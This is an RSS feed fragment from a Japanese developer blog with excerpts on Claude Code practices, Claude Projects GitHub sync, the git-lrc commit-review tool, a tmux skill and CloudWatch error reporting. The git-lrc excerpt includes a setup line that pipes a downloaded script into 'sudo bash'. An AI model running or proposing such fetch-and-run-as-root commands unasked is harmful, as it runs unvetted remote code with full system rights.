&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;連鎖的被害&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1つの誤った解釈が次々と問題を引き起こす&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="それでも-yolo-モードが必要な理由"&gt;それでも YOLO モードが必要な理由&lt;/h2&gt;
&lt;p&gt;危険だが、以下のユースケースでは事実上不可欠。&lt;/p&gt;</description></item><item><title># Claude Code 開発者が教える CLAUDE.md と実践 Tips</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-code-%E9%96%8B%E7%99%BA%E8%80%85%E3%81%8C%E6%95%99%E3%81%88%E3%82%8B-claude.md-%E3%81%A8%E5%AE%9F%E8%B7%B5-tips/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-code-%E9%96%8B%E7%99%BA%E8%80%85%E3%81%8C%E6%95%99%E3%81%88%E3%82%8B-claude.md-%E3%81%A8%E5%AE%9F%E8%B7%B5-tips/</guid><description>&lt;h1 id="claude-code-開発者が教える-claudemd-と実践-tips"&gt;Claude Code 開発者が教える CLAUDE.md と実践 Tips&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;元スレッド（個人セットアップ編）: &lt;a href="https://x.com/bcherny/status/2007179832300581177"&gt;Boris Cherny @bcherny&lt;/a&gt;（53K いいね、780万ビュー）
元スレッド（チーム Tips 編）: &lt;a href="https://x.com/bcherny/status/2017742741636321619"&gt;Boris Cherny @bcherny&lt;/a&gt;（49K いいね、850万ビュー）
紹介ポスト: &lt;a href="https://x.com/SuguruKun_ai/status/2026313971868045726"&gt;すぐる @sugurukun_ai&lt;/a&gt;
設定再現リポジトリ: &lt;a href="https://github.com/0xquinto/bcherny-claude"&gt;0xquinto/bcherny-claude&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;Claude Code の開発者である Boris Cherny 氏が、自身のセットアップと Claude Code チーム全体の使い方を X で公開し、合計 10 万いいね以上を獲得して大きな話題になった。&lt;/p&gt;
&lt;p&gt;この記事では、2つのスレッドの内容を統合して「CLAUDE.md の育て方」と「Claude Code を最大限活用する 10 の Tips」をまとめる。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="claudemd-とは"&gt;CLAUDE.md とは&lt;/h2&gt;
&lt;p&gt;CLAUDE.md は、Claude Code がセッション開始時に自動的に読み込む&lt;strong&gt;プロジェクトの指示書&lt;/strong&gt;。新入社員に渡すオンボーディングドキュメントのようなもので、以下を記述する:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;プロジェクトの技術スタック・アーキテクチャ&lt;/li&gt;
&lt;li&gt;コーディング規約・命名ルール&lt;/li&gt;
&lt;li&gt;よく使うコマンド&lt;/li&gt;
&lt;li&gt;過去に Claude が犯した間違いと対策&lt;/li&gt;
&lt;li&gt;やってはいけないこと&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="配置場所"&gt;配置場所&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;ファイル&lt;/th&gt;
&lt;th&gt;スコープ&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;~/.claude/CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;全プロジェクト共通（個人設定）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;プロジェクトルート/CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;そのプロジェクト限定（チーム共有・Git 管理）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2 id="boris-cherny-のセットアップスレッド1"&gt;Boris Cherny のセットアップ（スレッド1）&lt;/h2&gt;
&lt;h3 id="1-並列セッション"&gt;1. 並列セッション&lt;/h3&gt;
&lt;p&gt;Boris は&lt;strong&gt;ターミナルで 5 つの Claude を同時に並列実行&lt;/strong&gt;している。さらに claude.ai/code 上でも 5〜10 個を並行稼働させ、システム通知で完了を監視する。&lt;/p&gt;</description></item><item><title># Claude Projects × GitHub 同期 — AI のメモリより精度が高いナレッジ管理</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-projects-github-%E5%90%8C%E6%9C%9F-ai-%E3%81%AE%E3%83%A1%E3%83%A2%E3%83%AA%E3%82%88%E3%82%8A%E7%B2%BE%E5%BA%A6%E3%81%8C%E9%AB%98%E3%81%84%E3%83%8A%E3%83%AC%E3%83%83%E3%82%B8%E7%AE%A1%E7%90%86/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-claude-projects-github-%E5%90%8C%E6%9C%9F-ai-%E3%81%AE%E3%83%A1%E3%83%A2%E3%83%AA%E3%82%88%E3%82%8A%E7%B2%BE%E5%BA%A6%E3%81%8C%E9%AB%98%E3%81%84%E3%83%8A%E3%83%AC%E3%83%83%E3%82%B8%E7%AE%A1%E7%90%86/</guid><description>&lt;h1 id="claude-projects--github-同期--ai-のメモリより精度が高いナレッジ管理"&gt;Claude Projects × GitHub 同期 — AI のメモリより精度が高いナレッジ管理&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;紹介ポスト: &lt;a href="https://x.com/yriica/status/2025403345805213999"&gt;yriica&lt;/a&gt;
「ClaudeのProjects内のFilesにGitHubリポジトリを同期できることが判明。GitHubリポジトリに日報含めいろんなデータをプッシュしておいたことで、その内容をふまえた上でClaudeでチャットができるようになった。AIのメモリ機能よりもこちらのほうが回答精度が高い。」&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="はじめに"&gt;はじめに&lt;/h2&gt;
&lt;p&gt;Claude.ai（ブラウザ版）の Projects 機能に、&lt;strong&gt;GitHub リポジトリのファイルを直接同期できる機能&lt;/strong&gt;がある。日報、議事録、設計メモなど、普段の業務で Git に蓄積していたドキュメントが、そのまま Claude の高精度なコンテキストとして機能する。&lt;/p&gt;
&lt;p&gt;これは「AI のために特別なことをした」のではなく、&lt;strong&gt;普段の業務として Git にドキュメントを蓄積していたものが、AI 活用で大きなアドバンテージになった&lt;/strong&gt;という事例。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="claude-projects-の-github-連携とは"&gt;Claude Projects の GitHub 連携とは&lt;/h2&gt;
&lt;h3 id="基本機能"&gt;基本機能&lt;/h3&gt;
&lt;p&gt;Claude.ai の Projects には「プロジェクトナレッジ」としてファイルを追加できる。ここに GitHub リポジトリを接続すると:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;リポジトリ内の&lt;strong&gt;ファイル名と内容&lt;/strong&gt;が Claude に読み込まれる&lt;/li&gt;
&lt;li&gt;「Sync now」ボタンで&lt;strong&gt;最新のコミット内容に更新&lt;/strong&gt;できる&lt;/li&gt;
&lt;li&gt;複数リポジトリを1つのプロジェクトに追加可能&lt;/li&gt;
&lt;li&gt;プライベートリポジトリにも対応（GitHub App 経由で権限付与）&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="設定方法"&gt;設定方法&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;チャット内から追加する場合:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;左下の「+」ボタンをクリック&lt;/li&gt;
&lt;li&gt;ドロップダウンから「Add from GitHub」を選択&lt;/li&gt;
&lt;li&gt;ファイルブラウザで特定のファイルやフォルダを選択&lt;/li&gt;
&lt;li&gt;メッセージ送信時に Claude がコンテンツを処理&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;プロジェクトナレッジとして追加する場合:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;プロジェクト知識セクションの右上「+」をクリック&lt;/li&gt;
&lt;li&gt;「GitHub」を選択&lt;/li&gt;
&lt;li&gt;リポジトリを検索、または URL を貼り付け&lt;/li&gt;
&lt;li&gt;ファイルブラウザで対象を指定&lt;/li&gt;
&lt;li&gt;プロジェクトナレッジに追加&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="同期の仕組み"&gt;同期の仕組み&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;特定ブランチのファイル名とコンテンツのみが同期される&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コミット履歴、PR、Issue などのメタデータは取得されない&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;「Sync now」ボタンで手動更新（自動同期ではない）&lt;/li&gt;
&lt;li&gt;大きな変更がある前に同期を実施するのがベストプラクティス&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="制限事項"&gt;制限事項&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;複数リポジトリ追加時は Claude のコンテキストウィンドウに収まる必要がある&lt;/li&gt;
&lt;li&gt;現在ベータ版&lt;/li&gt;
&lt;li&gt;トークン制限を考慮した戦略的なファイル選択が重要&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2 id="なぜメモリ機能より精度が高いのか"&gt;なぜ「メモリ機能より精度が高い」のか&lt;/h2&gt;
&lt;p&gt;Claude にはチャットの中から情報を学習する「メモリ」機能があるが、GitHub 同期とは根本的に性質が異なる。&lt;/p&gt;</description></item><item><title># git-lrc — コミット時に AI が無料でコードレビューしてくれるツール</title><link>https://hdknr.github.io/blogs/posts/2026/02/%23-git-lrc-%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E6%99%82%E3%81%AB-ai-%E3%81%8C%E7%84%A1%E6%96%99%E3%81%A7%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%97%E3%81%A6%E3%81%8F%E3%82%8C%E3%82%8B%E3%83%84%E3%83%BC%E3%83%AB/</link><pubDate>Fri, 27 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/%23-git-lrc-%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E6%99%82%E3%81%AB-ai-%E3%81%8C%E7%84%A1%E6%96%99%E3%81%A7%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%97%E3%81%A6%E3%81%8F%E3%82%8C%E3%82%8B%E3%83%84%E3%83%BC%E3%83%AB/</guid><description>&lt;h1 id="git-lrc--コミット時に-ai-が無料でコードレビューしてくれるツール"&gt;git-lrc — コミット時に AI が無料でコードレビューしてくれるツール&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;リポジトリ: &lt;a href="https://github.com/HexmosTech/git-lrc"&gt;HexmosTech/git-lrc&lt;/a&gt;
紹介ポスト: &lt;a href="https://x.com/commte/status/2026240523821007337"&gt;commte&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="これは何か"&gt;これは何か&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;git-lrc&lt;/code&gt; は、&lt;strong&gt;&lt;code&gt;git commit&lt;/code&gt; のタイミングで自動的に AI コードレビューが走るツール&lt;/strong&gt;。Git フックとして動作し、コミット前の差分を AI（Google Gemini）に分析させ、バグやセキュリティ問題をブラウザ上の UI でインラインコメントとして表示してくれる。&lt;/p&gt;
&lt;p&gt;しかも &lt;strong&gt;Gemini の無料枠を使うので完全無料&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="なぜこれが作られたのか"&gt;なぜこれが作られたのか&lt;/h2&gt;
&lt;h3 id="ai-エージェント時代の新しい問題"&gt;AI エージェント時代の新しい問題&lt;/h3&gt;
&lt;p&gt;Claude Code や Cursor などの AI コーディングエージェントは、コードを高速に生成する。しかし同時に、&lt;strong&gt;黙ってロジックを削除したり、挙動を変えたり、バグを混入させる&lt;/strong&gt;こともある — しかもユーザーに何も言わずに。&lt;/p&gt;
&lt;p&gt;問題に気づくのは、たいてい本番環境にデプロイした後。&lt;/p&gt;
&lt;h3 id="既存のコードレビューの限界"&gt;既存のコードレビューの限界&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;PR レビュー&lt;/strong&gt;: チームメンバーの時間を消費する。AI 生成コードの量が増えるとレビューが追いつかない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;手動チェック&lt;/strong&gt;: 大量の差分を毎回目視確認するのは非現実的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CI/CD のテスト&lt;/strong&gt;: テストがカバーしていない箇所の論理変更は検出できない&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="git-lrc-のアプローチ"&gt;git-lrc のアプローチ&lt;/h3&gt;
&lt;p&gt;「コミット」という&lt;strong&gt;全開発者が必ず通るポイント&lt;/strong&gt;にフックすることで、レビュー漏れをほぼゼロにする。エディタや AI ツールキットが何であっても、Git は共通基盤。コミットは必須操作なので、&lt;strong&gt;スタックに関係なくレビューが走る&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="どう動くのか"&gt;どう動くのか&lt;/h2&gt;
&lt;h3 id="セットアップ約1分1回だけ"&gt;セットアップ（約1分、1回だけ）&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;5
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# インストール（Mac / Linux）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;curl -fsSL https://hexmos.com/lrc-install.sh | sudo bash
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# 初期設定（ブラウザで API キーを取得）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;git lrc setup
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;必要なのは2つ:&lt;/p&gt;</description></item><item><title>Claude Code + tmux で GitHub Issue/PR をウィンドウ単位で管理する tmux-focus スキル</title><link>https://hdknr.github.io/blogs/posts/2026/02/claude-code--tmux-%E3%81%A7-github-issue/pr-%E3%82%92%E3%82%A6%E3%82%A3%E3%83%B3%E3%83%89%E3%82%A6%E5%8D%98%E4%BD%8D%E3%81%A7%E7%AE%A1%E7%90%86%E3%81%99%E3%82%8B-tmux-focus-%E3%82%B9%E3%82%AD%E3%83%AB/</link><pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/claude-code--tmux-%E3%81%A7-github-issue/pr-%E3%82%92%E3%82%A6%E3%82%A3%E3%83%B3%E3%83%89%E3%82%A6%E5%8D%98%E4%BD%8D%E3%81%A7%E7%AE%A1%E7%90%86%E3%81%99%E3%82%8B-tmux-focus-%E3%82%B9%E3%82%AD%E3%83%AB/</guid><description>&lt;hr&gt;
&lt;h2 id="description-tmux-ウィンドウの-issuepr-切替-tmux-focus--w-r-"&gt;name: tmux-focus
description: &amp;ldquo;tmux ウィンドウの Issue/PR 切替: /tmux-focus [-w|-r] &lt;number&gt;&amp;rdquo;&lt;/h2&gt;
&lt;h1 id="tmux-focus-スキル"&gt;tmux-focus スキル&lt;/h1&gt;
&lt;p&gt;現在の tmux ウィンドウの Issue/PR を切り替えるスキル。&lt;/p&gt;
&lt;h2 id="使い方"&gt;使い方&lt;/h2&gt;
&lt;h3 id="tmux-focus-number--issue-モード"&gt;&lt;code&gt;/tmux-focus &amp;lt;number&amp;gt;&lt;/code&gt; — Issue モード&lt;/h3&gt;
&lt;p&gt;Bash で以下を実行:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;~/.claude/skills/tmux-focus/scripts/tmux-issue-change.sh &amp;lt;number&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;ウィンドウ名を &lt;code&gt;issue-&amp;lt;number&amp;gt;&lt;/code&gt; に変更し、対応する GitHub Issue をブラウザで開く。&lt;/p&gt;
&lt;h3 id="tmux-focus--w-number--pr-worktree-モード"&gt;&lt;code&gt;/tmux-focus -w &amp;lt;number&amp;gt;&lt;/code&gt; — PR worktree モード&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;gh pr view &amp;lt;number&amp;gt;&lt;/code&gt; で PR であることを確認する。PR でなければエラーメッセージを表示して終了。&lt;/li&gt;
&lt;li&gt;Bash で以下を実行:
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;~/.claude/skills/tmux-focus/scripts/tmux-issue-change.sh --pr &amp;lt;number&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;ウィンドウ名を &lt;code&gt;pr-&amp;lt;number&amp;gt;&lt;/code&gt; に変更し、ブラウザで PR を開く。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;EnterWorktree&lt;/code&gt; ツールで worktree を作成する。&lt;/li&gt;
&lt;li&gt;worktree 内で以下を実行:
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gh pr checkout &amp;lt;number&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="tmux-focus--r-number--pr-レビューモード"&gt;&lt;code&gt;/tmux-focus -r &amp;lt;number&amp;gt;&lt;/code&gt; — PR レビューモード&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;gh pr view &amp;lt;number&amp;gt;&lt;/code&gt; で PR であることを確認する。PR でなければエラーメッセージを表示して終了。&lt;/li&gt;
&lt;li&gt;Bash で以下を実行:
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;~/.claude/skills/tmux-focus/scripts/tmux-issue-change.sh --pr &amp;lt;number&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;ウィンドウ名を &lt;code&gt;pr-&amp;lt;number&amp;gt;&lt;/code&gt; に変更し、ブラウザで PR を開く。&lt;/li&gt;
&lt;li&gt;worktree 内でなければ &lt;code&gt;EnterWorktree&lt;/code&gt; ツールで worktree を作成する。&lt;/li&gt;
&lt;li&gt;worktree 内で以下を実行:
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gh pr checkout &amp;lt;number&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;PR のコード差分をレビュー開始する（&lt;code&gt;gh pr diff &amp;lt;number&amp;gt;&lt;/code&gt; で差分を取得し、変更内容を分析）。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="スクリプトが存在しない場合"&gt;スクリプトが存在しない場合&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;~/.claude/skills/tmux-focus/scripts/tmux-issue-change.sh&lt;/code&gt; が存在しない場合は、以下の内容で作成して &lt;code&gt;chmod +x&lt;/code&gt; する。&lt;/p&gt;</description></item><item><title>CloudWatch Logs のエラーを自動で GitHub Issues に課題化する</title><link>https://hdknr.github.io/blogs/posts/2026/02/cloudwatch-logs-%E3%81%AE%E3%82%A8%E3%83%A9%E3%83%BC%E3%82%92%E8%87%AA%E5%8B%95%E3%81%A7-github-issues-%E3%81%AB%E8%AA%B2%E9%A1%8C%E5%8C%96%E3%81%99%E3%82%8B/</link><pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/02/cloudwatch-logs-%E3%81%AE%E3%82%A8%E3%83%A9%E3%83%BC%E3%82%92%E8%87%AA%E5%8B%95%E3%81%A7-github-issues-%E3%81%AB%E8%AA%B2%E9%A1%8C%E5%8C%96%E3%81%99%E3%82%8B/</guid><description>&lt;h1 id="cloudwatch-logs-のエラーを自動で-github-issues-に課題化する"&gt;CloudWatch Logs のエラーを自動で GitHub Issues に課題化する&lt;/h1&gt;
&lt;p&gt;ECS で稼働するWebアプリケーションのエラーログを自動的に GitHub Issues に報告する仕組みを構築しました。手動でログを監視する必要がなくなり、エラー発生時に即座にチームが認識・対応できるようになります。&lt;/p&gt;
&lt;h2 id="背景"&gt;背景&lt;/h2&gt;
&lt;p&gt;マルチテナントの業務システムを ECS Fargate 上で運用しています。アプリケーションは2つあり、それぞれ異なるフレームワークで構築されています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;アプリ&lt;/th&gt;
&lt;th&gt;フレームワーク&lt;/th&gt;
&lt;th&gt;用途&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;web&lt;/td&gt;
&lt;td&gt;Laravel (PHP)&lt;/td&gt;
&lt;td&gt;業務管理システム&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;api&lt;/td&gt;
&lt;td&gt;Django (Python)&lt;/td&gt;
&lt;td&gt;API サーバー&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;これまで CloudWatch Logs にログは収集していたものの、エラーの検知は手動確認に頼っていました。500エラーや例外発生を見逃すリスクがあり、自動検知の仕組みが必要でした。&lt;/p&gt;
&lt;h2 id="アーキテクチャ"&gt;アーキテクチャ&lt;/h2&gt;
&lt;p&gt;Subscription Filter + Lambda + GitHub Issues API の構成を採用しました。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;CloudWatch Logs (/ecs/{prefix}-ecs-{app})
└── Subscription Filter (エラーパターンマッチ)
└── Lambda Function (Docker/arm64, Python 3.12)
├── エラー解析 (HTTP 5xx, 例外, スタックトレース)
├── ±5秒のログコンテキスト取得
├── 既存 Open Issue 検索
└── 新規 Issue 作成 or 既存 Issue にコメント追加
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="この構成を選んだ理由"&gt;この構成を選んだ理由&lt;/h3&gt;
